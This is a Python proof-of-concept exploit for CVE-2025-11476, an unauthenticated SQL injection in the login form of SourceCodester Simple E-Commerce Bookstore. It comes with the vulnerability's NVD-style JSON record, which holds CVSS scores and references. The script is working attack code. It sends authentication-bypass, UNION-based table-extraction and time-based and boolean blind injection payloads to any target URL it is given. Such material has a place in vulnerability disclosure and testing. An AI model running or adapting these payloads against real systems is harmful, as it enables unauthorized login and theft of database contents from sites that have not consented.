CVE-2025-11476

# CVE-2025-11476 - SourceCodester Simple E-Commerce Bookstore SQL Injection PoC # Vulnerable parameter: login_username in /index.php # Vulnerability type: SQL Injection (Unauthenticated) import requests import sys TARGET_URL = "http://target.com/index.php" # SQL Injection payload to bypass authentication # The login_username parameter is directly concatenated into SQL query without sanitization payloads = [ # Authentication bypass payload { "login_username": "' OR '1'='1' -- ", "login_password": "anything" }, # UNION-based injection to extract database version { "login_username": "' UNION SELECT 1,version(),3,4-- ", "login_password": "anything" }, # UNION-based injection to extract table names { "login_username": "' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- ", "login_password": "anything" }, # Time-based blind injection for data extraction { "login_username": "' OR IF(1=1, SLEEP(5), 0)-- ", "login_password": "anything" }, # Boolean-based blind injection { "login_username": "' OR SUBSTRING(version(),1,1)='5'-- ", "login_password": "anything" } ] def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" try: response = requests.post(target_url, data=payload, timeout=10, allow_redirects=False) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Target: {target}") print(f"[*] CVE-2025-11476 - SQL Injection in login_username parameter") print("-" * 60) # Test authentication bypass print("\n[+] Testing authentication bypass...") resp = exploit_sqli(target, payloads[0]) if resp and resp.status_code in [200, 302]: print(f"[SUCCESS] Authentication bypass may be successful!") print(f" Status Code: {resp.status_code}") if resp.status_code == 302: print(f" Redirect Location: {resp.headers.get('Location', 'N/A')}") # Test UNION-based injection print("\n[+] Testing UNION-based injection...") resp = exploit_sqli(target, payloads[1]) if resp: print(f" Status Code: {resp.status_code}") # Check if version info is reflected in response if "5." in resp.text or "MariaDB" in resp.text or "MySQL" in resp.text: print(f"[SUCCESS] Database version likely leaked in response!") # Test time-based blind injection print("\n[+] Testing time-based blind injection...") import time start_time = time.time() resp = exploit_sqli(target, payloads[3]) elapsed = time.time() - start_time print(f" Elapsed time: {elapsed:.2f} seconds") if elapsed >= 5: print(f"[SUCCESS] Time-based blind injection confirmed!") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11476", "sourceIdentifier": "[email protected]", "published": "2025-10-08T14:15:40.653", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in SourceCodester Simple E-Commerce Bookstore 1.0. This affects an unknown part of the file /index.php. The manipulation of the argument login_username leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:janobe:simple_e-commerce_bookstore:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "AABB3C47-CA30-441C-926D-ED112DEEEB5E"}]}]}], "references": [{"url": "https://github.com/DrNbnonono/CVE/issues/5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327594", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327594", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.667117", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}]}}